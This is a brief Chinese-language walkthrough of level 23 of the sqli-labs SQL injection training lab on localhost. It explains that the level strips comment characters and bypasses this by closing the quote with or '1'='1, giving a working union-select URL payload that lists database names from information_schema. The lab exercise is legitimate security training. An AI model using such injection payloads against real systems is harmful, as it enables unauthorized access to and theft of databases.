sqli-labs第二十三关（注释过滤绕过）

从源码可知此关将注释符全部过滤掉，需要绕过，使用and ‘1’='1即可

http://localhost:90/sqli-labs-master/Less-23/?id=-1'  union select 111,(select group_concat(schema_name)from information_schema.schemata),3 or '1'='1

这关没什么可说的直接爆库名，接下来爆表，字段啥的就不再演示，此关结束